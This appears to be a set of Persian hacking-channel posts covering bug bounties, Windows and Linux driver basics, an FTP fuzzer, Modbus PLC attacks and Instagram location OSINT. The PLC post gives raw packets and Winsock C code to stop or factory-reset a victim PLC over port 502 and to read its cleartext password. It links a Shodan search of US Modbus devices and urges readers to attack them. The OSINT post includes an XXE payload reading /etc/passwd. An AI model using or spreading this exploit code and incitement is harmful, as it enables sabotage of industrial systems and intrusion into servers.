بدون پشتیبانی شرکتی یا نهادی و تنها با تکیه به تلاش فردی و کار محکم گروهی میشه به بالاترین درآمد ها رسید چه در حوزه علوم سایبری چه علوم دیگه رایانه تشریح وبسایت HackerOne بهونه ای شده تا من نگاه جدیدی رو در شما به وجود بیارم ببینید دوستان ما در دنیای سایبری همیشه نیاز به تامین امنیت سایبری رو احساس و بسیار مهم میدونیم و در دنیای سایبری همیشه آسیب پذیری جدید یا تاکتیک جدیدتری وجود داره که بتونه قول های سرویس دهنده سرور و غیره در دنیا رو سوپرایز کنه خب پس از این رو شما فرض کنید ما در عرضه Defence حملات سایبری یک Startup جالبی رو در سالهای فکر میکنم 2009 شاهد بودیم به نام CDN ها که در مرحله اول خودش رو Ddos Protections معرفی کردند و روز به روز خودشون رو گسترش دادن و از این فرصت تحلیل داده ها استفاده و Detection هارو هم به جمع سرویس هاشون اضافه کردند که ما به نام WAF یا Web Appilication Firewall میشناسیمشون خب یکی از این شرکت ها به نام Cloudflare الان ادعا میکنه که روزنانه 10,000 نفر ثبت نام میکنن در سرویسش خب آیا ما ایرانی ها خداوکیلی چیزی کم داریم از این چشم آبی ها ؟ من فکر میکنم یک چیزه بیشتری هم داریم اما اصلی ترین چیزی که کمبودش در ماها حس میشه نبود تشکل های مردمی و گروهی کار کردن هستش یعنی در ایران شما ۱۰ نفر رو نمیتونید کنار هم بزارید همدیگرو نخورن :)‌ بنده به تنهایی کارم رو شروع کردم الانم با یک تیم بسیار قابل اعتماد و پرتلاش داریم کار خودمون رو پیش میبریم,بنده در این لحظه احساس میکنم وقتش شده که ما کمی دیگه وارد دنیای CTF ها و Bug Bounty یا بشیم البته بعد از جلسات دورهمی این موضوع پر رنگتر میشه اما من احساس میکنم که اگر تیم ###### بتونه تشکل های سالمی رو ترتیب بده که هدفمند و با انگیزه و پشتکار به وجود بیاد هم در اولین عرصه سایبری میتونه درآمد های خوبی از Bug Bounty ها از سایت هایی مثل HackerOne داشته باشه هم به شکل های مختلف دیگه و در گام بعدی خودش خیز یک Startup برای اولین بار در دنیارو برداره و اگر همه پازل هارو درست بچینه میتونیم امید داشته باشیم که سامانه های بسیار قوی رو از همین تیم به ظاهر ساده داشته باشیم فراموش نکنید که در حوزه امنیت سایبری حرف اول رو قدرت دانش هر تیم یا فرد میزنه و ما تمام تلاشمون اینه که این برگه برنده رو به بهترین شکل در سطح جهانی تقویت کنیم که اینکار هنوز هم برای ما ادامه داره این نکته رو هم بگم که به نظر من شرکت ها یا نهاد هایی که دنبال هکر میگردن و از هک و این علوم کاملا سحطی هستش به نحوی که شما میری باشون صحبت میکنی میگن چی هک میکنی 🙂 خب در چنین مملکتی و شرایطی بهترین کار اینه که ما خودمون برای خودمون کار کنیم نه برده شرکت های مسخره بشیم که فقط به دنبال سوءاستفاده از هکرها هستند البته این مختص کسانی هستش که این شجاعت و پشتکار و باور رو درون خودشون دارند که میتونن در دنیای امنیت حرفی جز آموزش دادن چهار تا ابزار و دوره آموزشی فلان و غیره داشته باشند از این رو شما میتونید به مبالغ کشف آسیب پذیری در سایت HackerOne مشاهده کنید و سایت هایی که حمایت کردند از این موضوع.

نکته: قیمت Bug Bounty ها در سایت HackerOne از 100$ شروع میشه تا 10,000$ الی 15,000$ که خب با این وضع دلار در کشور ما خوب درآمدیه 🙂

https://firebounty.com/
https://internetbugbounty.org/
https://hackerone.com/bug-bounty-programs
https://bounty.github.com/index.html#home
https://www.cloudflare.com/about-overview/

#Win Kernel Programming
چگونگی ساخت یک درایور برای هکرها موضوع بسیار جالبی هستش چرا که درایورها امکان دسترسی سطح کرنل رو به همراه دارند و میتوانند سرویس های روتکیتی را بوجود بیاورند.

 

ما برای اینکار نیاز به یکسری ابزار و دانش مبنایی داریم یک آشنایی با زبان C/C++ و دوم نصب پکیج های Kernel Debugging که خب البته شما میتونید اینکارو نکنید و میتونید فقط برنامه Visual Studio رو نصب کنید من خودم راه دوم رو راحتر میدونم خب پس برنامه Virsual Studio آخرین نسخه منتشر شدش رو دانلود و نصب کنید و بعد از نصب یک پروژه باز کنید و نوع پروژه رو از شاخه Visual C++ و Windows Driver و Legacy و Empty WDM Driver رو انتخاب کنید و اسم پروژه رو هم hellodriver قرار بدید و بعد در داخل محیط کدنویسی بر روی گزینه hellodriver و رفتن بر روی گزینه Add و ایتم New Item… رو زده و C++ File(cpp) و اسم فایل رو هم Source.c میزاریم و این سورس فایل رو Add میکنیم,دوستان مهمه که این ایتم هارو دقیق انجام بدید واسه همین کامل تلاش کردم که توضیح بدم.ما در این پست به رسم برنامه نویس ها یک Hello حالا به دنیا نه ولی به درایور خودمون چرا:) دقت کنید که API Driver Programming به گونه ای که در کد نویسی زبان C/C++ مرسومه نیست و نمیشه مانند زبان C از تابع printf() استفاده کرد برای چاپ یک خروجی اما ما اینجا با استفاده از تابع DbgPrint() میتونیم مقداری رو بر روی بافری رایت کنیم خب پس از همین تکنیک استفاده میکنیم دقت کنید.

#include “ntddk.h” VOID Unload(IN PDRIVER_OBJECT DriverObject) { DbgPrint(“driver unload \r\n”); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DriverObject->DriverUnload = Unload; DbgPrint(“hello driver\r\n”); return STATUS_SUCCESS; } در کد بالا برای void نوع جدید VOID با حروف بزرگ تعریف شده و تابع DriverEntry مانند تابع Main است که به محض اجرا شدن برنامه صدا زده میشه,تابع دیگه DriverUnload هستش که به عنوان ورودی تابعی رو میگیره که در هنگام Unload شدن درایور صدا زده میشه این تابع رو اگر تعریف نکنیم بعد از Load شدن درایور دیگه نمیشه اون رو Unload کرد زمانی که Unload اجرا بشه پیغامی رو رایت میکنه.تابع DriverEntry دوتا ورودی میگیره به نام DriverObject و RegistryPath ما در اینجا نیاز داریم که آدرس سرویس ساخته شده در رجیستری بدونیم که این موقعیت مسیر رو RegistryPath به ما میده.تابع NTSTATUS که وظیفه برگرداندن مقدار DriverEntry رو داره که نوع های مختلفی داره که در فایل ntstatus.h تعریف شده که ما اینجا مقدار STATUS_SUCCESS رو برگشت میدیم به این معنی که عملیات با موفقیت تمام شد.

حالا ما میخوام خروجی این درایور رو ببینیم برای اینکار در برنامه Visual Studio بر روی hellodriver کلیک میکنیم و گزینه Properties رو میزنم و در صفحه باز شده وارد گزینه Configuration Manager میشم و در اونجا Active solution platform رو روی حالت x64 میزاریم و باز در ادامه در همون صفحه Property به قسمت C/C++ میریم و در اونجا گزینه Warning Level بر روی Level1 (/W1) تنظیم میکنیم و باز در ادامه به سربرگ Linker ها میریم و گزینه Treat Linker Warning As Errors بر روی No (/WX:NO) قرار میدیم,سربرگ Driver Settings رفته و گزینه Target OS Version بر روی ویندوز 7 با نسخه ویندوز خودتون قرار بدید و پارامتر بعدی که باید تنظیم کنیم نوع Platform درایور هستش در همون سربرگ Driver Settings گزینه Target Platform بر روی Desktop قرار بدید و باز هم در ادامه به سربرگ Inf2Cat رفته و گزینه Use Local Time رو هم بر روی Yes(/userlocaltime) قرار بدید و سر آخر OK رو بزنید که تنظیمات تمومه,

اما build کردن و Load کردن درایور به چه صورت هستش برای اینکار در گزینه های سر صفحه برنامه Visual Studio گزینه Build رو خواهید دید وارد اون که بشید گزینه Build Solution رو باید بزنید تا عملیات Build و ساختن درایور تموم بشه نکته شما با فشار دادن کلید های ترکیبی Ctrl+Shift+B هم میتونید اینکارو کنید حالا به دایرکتوری Project/hellodriver/x64/Debug که برید درایور خودتون رو خواهید دید hellodriver.sys این فایل رو به Desktop خودتون انتقال بدید و برنامه OSR Driver Loader رو باز کنید و گزینه Browse رو زده و فایل درایور خودتون رو انتخاب کنید و باز در ادامه گزینه Register Service رو بزنید تا برنامه ثبت بشه در Registery حالا قبل از زدن گزینه Start Service برنامه Dbgview باز کنید و در سربرگ Capture گزینه Capture Kernel رو تیک بزنید با این برنامه پیغام هایی که در سطح کرنل چاپ میشه رو میتونید ببینید حالا در برنامه OSRLoader گزینه Start Service رو که بزنید پیغام Hello Driver رو خواهید دید در برنامه Dbgview.
https://www.osronline.com/article.cfm?article=157
https://docs.microsoft.com/en-us/sysinternals/downloads/debugview

 

بحث فازینگ بر سه زمین بازی استواره اولیش بر بستر پروتکل ها دومیش بر بستر فایل فرمت ها و سومیش بر بستر وب اپلیکیشن ها موضوع این پست میپردازه به بستر پروتکل ها,من پروتکل FTP رو مثال میزنم شما با درک کردن این مثال دستتون خواهد اومد که بر بستر پروتکل های دیگه هم چطور این عملیات رو میشه انجام داد.

خب ما در مرحله اول باید خود پروتکل رو بررسی کنیم که ساختارش چطوره و عملکردش هم چطور هستش برای اینکار شما میتونید به RFC 959 که مربوط به پروتکل FTP تعریف شده رجوع کنید که در این RFC توضیح داده میشه که طول Block هدر این پروتکل و Descriptor و باقیه STRUCTURES این پروتکل به چه صورت هستش این اطلاعات از این جهت به درد ما میخوره که در سطح حرفه ای بحث فازینگ ها با استفاده از کتابخونه scapy میتونیم این سبک از پکت هارو طراحی و به فضای هایی مانند Header ها و marker ها و غیره هم عملیات فازینگ انجام بدیم,الان ما میخوایم با فازینگ خود برنامه ای که کار Manage پروتکل FTP رو داره انجام میده انجام بدیم این سبک از برنامه های Manager زیادن ,اما اگر شما کمی راجب خود پروتکل تحقیق کنید با سبک کار این پروتکل بیشتر آشنا خواهید شد مثلا در این پروتکل فرمان هایی تعریف شده وجود دارند که هر کدوم کار خواصی انجام میدن در قسمت commands

import socket def main(): ip = ‘192.168.207.133’ port = 21 username = ‘ftp’ password = ‘ftp’ buffer = [“A”] counter = 20 commands = [“USER”, “PASS”, “ABOR”, “ACCT”, “ADAT”, “ALLO”, “APPE”, “AUTH”, “CCC”, “CDUP”, “CONF”, “CWD”, “DELE”, “ENC”, “EPRT”, “EPSV”, “FEAT”, “HELP”, “LANG”, “LIST”, “LPRT”, “LPSV”, “MDTM”, “MIC”, “MKD”, “MLSD”, “MLST”, “MODE”, “NLST”, “NOOP”, “OPTS”, “PASV”, “PBSZ”, “PORT”, “PROT”, “PWD”, “REIN”, “REST”, “RETR”, “RMD”, “RNFR”, “RNTO”, “SITE”, “SIZE”, “SMNT”, “STAT”, “STOR”, “STOU”, “STRU”, “SYST”, “TYPE”, “XCUP”, “XMKD”, “XPWD”, “XRCP”, “XRMD”, “XRSQ”, “XSEM”, “XSEN”] while len(buffer) <= 30: buffer.append(“A” * counter) counter = counter + 100
for command in commands: for string in buffer: print “Fuzzing ” + command + ” with lenght: ” + str(len(string)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = sock.connect((ip, port)) sock.recv(1024) if command == ‘PASS’: sock.send(‘USER ‘ + username + ‘\r\n’) sock.recv(1024) elif command is not ‘USER’ and command is not ‘PASS’: sock.send(‘USER ‘ + username + ‘\r\n’) sock.recv(1024) sock.send(‘PASS ‘ + password + ‘\r\n’) sock.recv(1024) sock.send(command + ‘ ‘ + string + ‘\r\n’) sock.recv(1024) sock.send(‘QUIT\r\n’) sock.close()
if __name__ == ‘__main__’: main() و باز نکته ای که وجود داره هر کدام از این دستورات که برخی از اسم مشخصه که چیکار میکنند رو بررسی کنید متوجه خواهید شد که یک برنامه Manager FTP بابته هرکدام از این دستورات تابعی رو احتمالا تعریف کرده یا به قوله خودم IF بندی کرده تا به محض خوانده شدن این دستور برنامه کاری که مد نظره رو انجام بده خب این یعنی که ما به تعداد این دستورات پارامتر برای فازینگ کردن داریم شاید یکی از دستورات توابعی که براش تعریف شده آسیب پذیر بود:) واسه اینکار ما میتونیم دستورات رو با استفاده از متد dictionary پایتون دونه دونه این دستورات رو در کنار دو فیلد ورودی با نام های USER و PASS فازینگ میکنیم یک while برای افزایش ترتیبی 100 تا 100 به مقدار اولیه 20 تایی متغییر buffer تعریف میکنیم و در ادامه یک حلقه for برای به چرخش در آوردن مقادیر متغییر commands و تزریق متغییر buffer به اونها تعریف میکنیم و باز در ادامه این سوکتی رو تعریف میکنیم که مقادیر user pass رو ارسال کنه و در کنار اون بر بستر request های که به سمت قربانی میفرسته اون مقادیر commands ما همراه با مقادیر که در بافر هستش یعنی کارکتر A پرتاب کنه نکته شما بر روی ورودی های user pass هم میتونید این فازینگ رو انجام بدید اما اونجا فقط باید کارکتر ریخته شه اما در این سبک ما بر بستر فرمان ها تست آسیب پذیری رو میزنیم نه روی فیلد های ورودی…
https://tools.ietf.org/html/rfc959
http://www.proftpd.org/docs/rfc.html
https://www.w3.org/Protocols/rfc959/4_FileTransfer.html

یکی از مزایای لینوکس قابلیت حذف و اضافه کردن ماژول ها به کرنل بصورت runtime و داینامیک در سیستم هستش,یعنی شما میتونید قابلیت های سیستم عامل رو در حالتی که سیستم در حال کار هستش تغییر بدید,انواع ماژول ها یا دیوایس ها در لینوکس,بطور کلی ماژول ها یا Device ها در لینوکس به سه دسته زیر تقسیم می شوند.

#Char Module #Block Module #Network Module

در اولین مرحله،برای اینکه بتوانید شروع به درایورنویسی در لینوکس کنید،بایستی کرنل لینوکس رو آماده کنید,بنابراین سورس کرنل با نسخه مورد نظر را دریافت و مراحل زیر را انجام بدید,من روی سیستم عامل خودم که کالی x64 هستش این کارو انجام میدم و اینم بگم که کرنل رو از خود سرور کالی میگیرم.

Open terminal
1.uname -a Linux AVI 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux
2.apt-get install -y libncurses5-dev flex fakeroot build-essential ncurses-dev libelf-dev xz-utils libssl-dev kmod bc bison kernel-package 3.apt install -y linux-source-4.18 4.ls /usr/src linux-config-4.18 linux-patch-4.18-rt.patch.xz linux-source-4.18.tar.xz
5.mkdir ~/kernel; cd ~/kernel && tar -xaf /usr/src/linux-source-4.18.tar.xz 6.cp /boot/config-4.18.0-kali2-amd64 ~/kernel/linux-source-4.18/.config 7.cd linux-source-4.18 && leafpad .config Ctrl+F (CONFIG_SYSTEM_TRUSTED_KEYRING)

CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS=”debian/certs/test-signing-certs.pem” Replace

#CONFIG_SYSTEM_TRUSTED_KEYRING=y #CONFIG_SYSTEM_TRUSTED_KEYS=”debian/certs/test-signing-certs.pem” Save & Close
8.make تا اینجای کار ما کرنل رو دانلود و آماده سازی و کانفیگ کردیم البته پکیج های مورد نیاز رو هم دریافت کردیم این پروسه نیاز به دقت داره پس صبر کنید تا کارش تموم شه

9.mkdir hello && cd hello && nano hello.c Added

#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> MODULE_LICENSE(“GPL”); MODULE_AUTHOR(“AVI”); MODULE_DESCRIPTION(“A simple Linux driver for the -.”); MODULE_VERSION(“0.1”); static char *name = “world”; module_param(name, charp, S_IRUGO); MODULE_PARM_DESC(name, “The name to display in /var/log/kern.log”); static int __init hello_AVI_init(void){ printk(KERN_INFO “EBB: Hello %s from the AVI LKM!\n”, name); return 0; } static void __exit hello_AVI_exit(void){ printk(KERN_INFO “EBB: Goodbye %s from the AVI LKM!\n”, name); } module_init(hello_AVI_init); module_exit(hello_AVI_exit); Ctrl+x > y > Enter

این درایور تنها دو تابع hello_AVI_init و hello_AVI_exit دارد. که این دو تابع توسط ماکروهای از پیش تعریف شده در کرنل با نام های module_init و module_exit به عنوان توابعی در نظر گرفته می شوند تا هنگام اجرای دستورات insmod و rmmod در لینوکس فراخوانی شوند,تابع printk که در کدهای درایور مشاهده میکنید،معادل تابع printf در کتابخانه c هستش و syntax های مشابه داره,اما به دلیل اینکه در فضای کرنل کتابخانه های خاص کرنل مورد استفاده قرار میگیرند،در فضای کرنل باید از printk استفاده بشه,عبارت KERN_INFO هم اولویت پیام های لاگ رو مشخص می کنه این اولویت در نحوه و اولویت نمایش پیام های سیستم تاثیر گذار خواهد بود,برای کامپایل درایور فوق یک Makefile با محتویات زیر ایجاد کنید

10.nano Makefile Added

obj-m+=hello.o all: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean Ctrl+x > y > Enter
11.make && ls Makefile Module.symvers hello.c hello.ko hello.mod.c hello.mod.o hello.o modules.order
12.sudo insmod hello.ko 13.lsmod | grep hello 14.tail -f /var/log/kern.log فرمت ماژول های کرنل در لینوکس .ko هستش,خب در قسمت 6 ما فایل Makefile که نیاز کامپایلر هست رو ساختیم و آدرس builder رو دادیم و در قسمت 7 دستور ساخت ماژول رو دادیم و اگر اروری نده ماژول با این اسم ساخته میشه hello.ko در قسمت 8 ماژول رو به سیستم نصب میکنیم و در قسمت 9 بررسی میکنیم که نصب شده یا نه و در قسمت 10 فایل kern.log رو بررسی میکنیم که آیا کرنل با تابع های module_init و module_exit ارتباط گرفته یا نه اگر در گزینه 9 و 10 جواب رو گرفتید بدونید که ماژول شما به کرنل نصب شده,برای حذف درایور از این دستور استفاده کنید.

15.rmmod hello.ko نکته پست,مختص OS کالی که Debian Base هستش نوشته شده است.

https://wiki.debian.org/Kernel
https://kernel-team.pages.debian.net/kernel-handbook/

#STUXNET
بد نیست کمی راجب حملات صنعتی که اسطوره اون ها Stuxnet بود صحبت کنیم و ببینیم آیا میشه باز تکرار بشه؟مثلا به دست ##### بر سر کشور های منافق ابن کافر 🙂

خب قبل از تشریح حمله نکاتی رو باید عرض کنم اتوماسیون های صنعتی سه سطح دارند سطح اول سرپرستی هستش,سطح دوم کنترلر هستش,سطح سوم فیلد,که من این هارو باز نمیکنم چون مطلب زیاده و منابع راجبشون در کانال های خصوصی موجوده.

حالا ما با سطح کنترلی کار داریم که زیر مجموعه هاش میشن PLC,HMI,Field Bus که باز ما درون اینها با PLC کار داریم که با پروتکل ModBus کار میکنند البته توپولوژی های اونها اکثرا WLAN هستش و ارتباط با رایانه های صنعتی (IPC) که بر بستر اترنت صنعتی ارتباط برقرار می کنند,خب حالا ما باید تمرکز خودمون رو بر روی پروتکل Modbus بزاریم چراکه پروتکل ارتباطی PLC ها که وظیفه کنترل دیوایس های صنعتی رو دارند که این دیوایس ها میتونه از المان های کنترلی و انواع شیرآلات و پنوماتیکی,پمپ ها,موتورها و Acuator ها کنترل کنه حالا باید بدونیم که این پروتکل چطور کار انتقال داده رو انجام میده

مدهای انتقال سریال که به دو دسته تقسیم می شوند ASCII و RTU که این مدها وضعیت بیت های پیام و نحوه بسته بندی و باز شدن پیام هارو مشخص میکنند,مد RTU مخفف Remote Terminal Unit هستش در هر ۸ بیت پیام شامل دو کاراکتر ۴ بیتی هگزا دسیمال هستش,فرمت ۱۱ بیت بسته دیتا بصورت زیر هست:

| Start | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Par | Stop | ۱بیت برای شروع دیتا-۸ بیت برای دیتا-۱ بیت برای Parity-۱ بیت برای پایان دیتا,خب حالا ما میریم سراغ خود کنترلر یعنی PLC ها برند دلتا بیشترین مورد استفاده رو داره البته جدیدا ایرانیا دارند چینی جایگزین میکنند سر تحریم ها:) و بیشترین مدل استفاده شده DVP هستش البته من نمیدونم مدل استفاده شده در مراکز هسته ای ایران چیه 0_O اکی نکته دیگه ای که باید بدونید اینه که نرم افزار منیجر PLC ها WPLSoft هستش.

اولین آسیب پذیری این برنامه برای کنترل تجهیزات صنعتی که بر بستر پروتکل Modbus کار میکنند اینه که دو دکمه قابل توجه در wplsoft هستش که اجرا و توقف رو برای زمانی که میخوان در حین کار Debug کنند استفاده میشه که خب ما به عنوان هکر میتونیم از همین نوع پکت ارسالی (منظورم دوتا دکمه ها هستش) رو با وایرشارک رصد و شبیه سازی کنیم واسه Trojan خودمون که در زمان مشخصی این درخواست هارو بده و بپاچونه دیوایس خودش رو 🙂 پکت یک الگو این چنینی داره

eah 97h 00h 00h 00h 06h 01h 05h 0ch 30h 00h 00h Modbus/TCP
Transaction Identifier: 60055
Protocol Identifier: 0
Length: 6
Unit Identifier: 1
Modbus
Funcation Code: write Single Coil (5)
Reference Number: 3120
Data: 0000
Padding

خب میبینیم که پکت ضبط شده از نوع دسیمال هستش,دو مقدار اول یعنی eah97h معادل 60055 که شماره تراکنش هستش که مقدار 0 اشاره به شناسه پروتکل داره مقدار 6 اشاره به طول داده داره و مقدار 1 اشاره داره به اینکه قراره به یک دستگاه ارسال فرمان بشه اگه این مقدار 0 بشه یعنی به همه PLC ها فرمان broadcast بشه دقت کنید همه (سانتریفوژها) آره خلاصه……..کجا بودم؟آها بریم ادامه داستان مقدار 0c30h هم به این معنی هستش که درچم حالت خاموش رو انتقال خواهیم داد و دیوایس ها مورد نظر خاموش بشه

اما پکت دکمه شروع به چه صورت هستش که به همون صورت اگر با وایرشارک شنود کنیم پکت رو خواهیم دید تقریبا شبیه داده قبلیه جز دو بایت آخر که حاوی مقدار ff00h هستن که به معنی انتقال حالت State و روشن شدن هست

fah 9h 00h 00h 00h 06h 01h 05h 0ch 30h ffh 00h این دکمه ها که محتوای پکت های فرمان روشن خاموش اون هارو بررسی کردیم اگر نباشن کار Deugging عملا سخت خواهد شد و نکته جالب تر اینکه این ساختار نه تنها برای برند Delta بلکه دیگر برند ها هم به همین صورت هستش(ای جان D:)

اما آسیب پذیری دوم,گذر از رمزهایی هستش که احیانا روی برنامه میزان تا هنگام بارگذاری PLC ها کسی انگولک نکنه 🙂 خب ما اگر با همون تکنیک شنود پکت ها این پکت رمز رو هم شنود کنیم خواهیم دید که داده کاملا آشکاره چرا که پروتکل modbus گوریده 🙂 چطور؟ اینطور

e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h 47h 47h 47h خب فرض کنید Trojan ما شعور شنود پکت های پروتکل modbus رو داره و این مقدار داده بالا رو شنود میکنه اگر شما ۴ بایت آخر رو ببینید داد میزنه که من رمز هستم و اگر از حالت decimal ترجمه به txt بشه میبینید که معادل GGGG هستش که رمز همین بوده اکی پس اینم به این راحتی بایپس شد بریم Research بعدی

باگ بعدی که منیجر و خود PLC ها دارن اینه که طراحان wplsoft تابعی رو طراحی کردن به نام format plc memory که میتونه پارامتر factory setting رو بگیره به این معنی که تنظیمات PLC مورد نظر برگرده به حالت کارخانه اگر این تابع رو استفاده کنید و پکت رو ارسال کنید به PLC مقدار داده به این صورته

33h 88h 00h 00h 00h 05h 01h 64h 01h 14h 00h

من مقادیر رو بالا توضیح دادم فقط اینجا بگم که مقدار 64h برابر با کد تابع format pls memory که ۳ بایت آخر هم مقدار ساعت 14H رو ارسال میکنه,حالا ما میخوایم یک اکسپلیوت طراحی کنیم که هم PLC مورد نظر مارو متوقف کنه هم اون رو برگشت به تنظیمات کارخانه بده اکی واسه اینکار میتونیم از API Winsock استفاده کنیم برای اینکار در Visual Studio یک Project از نوع Visual C++.NET باز کنید و کد زیر رو کپی کنید داخلش و کامپایل کنید

#include “winsock.h” #pragma comment(lib,”ws2_32.lib”) char BuffPLCOff[12] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00}; WSADATA wsaData; WSAStartup(WINSOCK_VERSION, &amp;wsaData); SOCKET Server; Server = socket (AF_INET, SOCK_STREAM, IPPROTO_IP); sockaddr_in ServerAddr; ServerAddr.sin_family = AF_INET; ServerAddr.sin_port = htons(502); ServerAddr.sin_addr.S_un.S_addr = inet_addr(“xxx.xxx.xxx.xxx”); connect(Server,(LPSOCKADDR)&amp;ServerAddr, sizeof(ServerAddr)); char *pBufPLCOff = BuffPLCOff; send(Server, pBuf,sizeof(BuffPLCOff),0); خب ما در قسمت اول Winsock رو تنظیم کردیم در قسمت بعد یک سوکت ساختیم و در قسمت بعد سوکت رو تنظیم کردیم و باز در ادامه پورت 502 که معادل modbus هست تعریف کردیم و در قسمت بعدش که میشه inet_addr(“xxx.xxx.xxx.xxx“) آی پی PLC قربانی باید قرار داده بشه و در ادامه سوکت نصب میشه واسه ارتباط گرفتن و باز در ادامه مقدار BuffPLCOff هم پرتاب میشه تا PLC مورد نظر رو خاموش کنه اما اگه ساختید ریست کنید متغییر زیر رو جای گزین BuffOLCOff کنید و در خط آخر هم sizeof رو به اسم BuffPLCFormat تغییر بدید

char BuffPLCFormat[11] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00}; اما صحبت پایانی میتونید به واسطه لینک زیر تارگت های آمریکایی کافر رو ببینید و با کمی هوشمندی Attack بدید بشون

https://www.shodan.io/search?query=modbus+port:502+country:”US”

اما یادتون نره که یاد گرفتن زبان PLC ها که برخی احمق ها به من میگفتن چرا تو Roadmap گفتی احمقانس که خب در این پست مشخصه که احمقه,انشالا از فضای تحقیقاتی خارج بشم براتون سد کرج باز میکنم دسته جمعی یه استلخی بریم حال کنیم البته با قلیون 🙂

راجب حمله Stuxnet هم توضیحاتی بدم بد نیست اولا ما در این پست آسیب پذیری های PLC هارو بررسی کردیم نه خود ویروس رو دومین نکته اینه که ویروس Stuxnet شش ماه بعد از داغون کردن کلی سانتریفوژ متوجهش شدن نکته سوم اینه که نتونستن جلوش رو بگیرن بلکه کله تجهیزات رایانه ای اونجارو عوض کردن چهارم اینه به دست یک پیمان کار وارد اون نیروگاه هسته شد پنجم اینکه بسیار پیچیده و تکامل یافته بود از طریق WMIC های ویندوز ها میتونست خودش رو باز سازی کنه و از چندین آسیب پذیری بهره میبرد.

:warning:کسانی که میخوان در این موضوعات علومی رو کسب کنند میتونند در کانال های خصوصی ما عضو بشن و از منابعش استفاده کنند,برای اینکار پست Pin شده رو بخونید,ببخشید کمی خودمونی در این پست صحبت کردم دلیل داشت اینکارم که بگذریم…

https://en.wikipedia.org/wiki/Modbus
https://en.wikibooks.org/wiki/Introductory_PLC_Programming
http://www.deltaww.com/services/DownloadCenter2.aspx?secID=8&pid=2&tid=0&itemID=&typeID=1&downloadID=&title=&dataType=&check=0&hl=en-US&CID=06

خب اول از همه نگاهی به فضای اطلاعات متن باز یا مبنع آزاد که معنی جمله Open source intelligence هستش و مخفف کلمه OSINT,بحث OSINT ها یا Recon ها زمانی مورد توجه قرار گرفت که شبکه های اجتماعی که هر کدام از ما حداقل یک حساب درونشون داریم به میان انسان ها امد خب این شبکه ها اصولا چطور کار میکنند؟ منظورم مکانیزم برنامه نویسی و ساختار فریمورک اونها هستش اگر شما کمی به ساختار اونها بپردازید مفهومی به نام API ها و الگوهای رفتاری رو مشاهده خواهید کرد و اگر کمی دقیق تر بخوام توضیح بدم اینطور میشه گفت که هر شبکه اجتماعی باید یک الگو برنامه نویسی برای خودش تعریف کنه که هم اپلیکیشن های گوشی های هوشمند خود اون شبکه اجتماعی و هم برنامه های دیگر برنامه نویس ها که برای اون شبکه اجتماعی نوشته اند بدونن مثلا برای دریافت آیدی یک کاربر در برنامه خودشون نیاز دارند که یک تابع مشخص شده در CMS شبکه اجتماعی رو صدا کنند و اون تابع در فلان صفحه دیده شده و میگه برای اینکه من این اطلاعات رو به برنامه شما بدم باید شما توکن مخصوص Token for App Developer رو به من بدید,پس ما برای ارتباط با شبکه های اجتماعی و حتی برخی سایت های گسترده مثل سایت های Cryptocurrency هم نیاز به ساختار های API ها داریم,اکی حالا اینستاگرام میاد درون API خودش یک تابع میزاره که شما به فلان URI در دامنه اینستاگرام یک Request با متد Post با مقادیر زیر بزنید به شما اعلام میکنه که در فلان موقعیت جغرافیایی که شما به عنوان هکر بهش میدید موقعیت رو با دوره زمانی مدنظر هکر اینستاگرام به شما بگه که چه کسانی با توجه به این دو فاکتور چه عکس های در اون موقعیت و زمان به اشتراک گذاشته اند

url = “https://api.instagram.com/v1/media/search?&#8221; \ + “lat=” + location_latitude \ + “&amp;lng=” + location_longitude \ + “&amp;distance=” + distance \ + “&amp;min_timestamp=” + timestamp \ + “&amp;max_timestamp=” + (timestamp + date_increment) \ + “&amp;access_token=” + access_token \ و بعد از ارسال Request مقادیری رو از نوع xml/json-response دریافت میکنید که نشان دهنده اطلاعاتی هستش که شما میخواستید دقت کنید که شما باید کلید Token خودتون رو هم ارسال کنید,اما قبل از اینکه بحث رو ادامه بدم چندتا نکته دیگه عرض کنم خدمتون اونم اینکه دوستان میدونستید که بر بستر همین ساختار و در قالب همین Request ما میتونیم Pentest آسیب پذیری هم انجام بدیم?من یک نمونه از Payload هاش رو نمایش میدم

POST /site/getinfo HTTP/1.1 Host: target.com Content-Type: application/json Content-Length: 38 {“search”:”######”,”value”:”liking”} فرض کنیم این یک Request با متد پست برای API یک وبسایت هستش و ما به این صورت پنتست XXE خواهیم زد

POST /site/getinfo HTTP/1.1 Host: target.com Accept: application/json Content-Type: application/xml Content-Length: 112 <?xml version=”1.0″ encoding=”UTF-8″ ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]> <root> <search>######</search> <value>liking</value> </root> به مقدار content-type دقت کنید که باید از application/json به application/xml تغییر کنه چرا که Payload ما بر بستر XML زده خواهد شد,نمونه های دیگه هم هست که در آسیب پذیری های دیگه هم میشه زد که فعلا بگذریم در پست های بعد توضیح بیشتر میدم پرانتز بسته ادامه موضوع OSINT پس ما میتونیم با بررسی API یک توابع یک شبکه اجتماعی بیایم و در قالب یک Application که میخواد Tools باشه در اون شبکه اجتماعی اسکریپتی رو بنویسیم و با استفاده از token که میشه با درخواست به قسمت developer های اون سایت token رو ثبت نام و دریافت کرد مثلا مال اینستاگرام این قسمت هستش https://www.instagram.com/developer/ کافیه ثبت نام کنید و درخواست APK Key کنید,

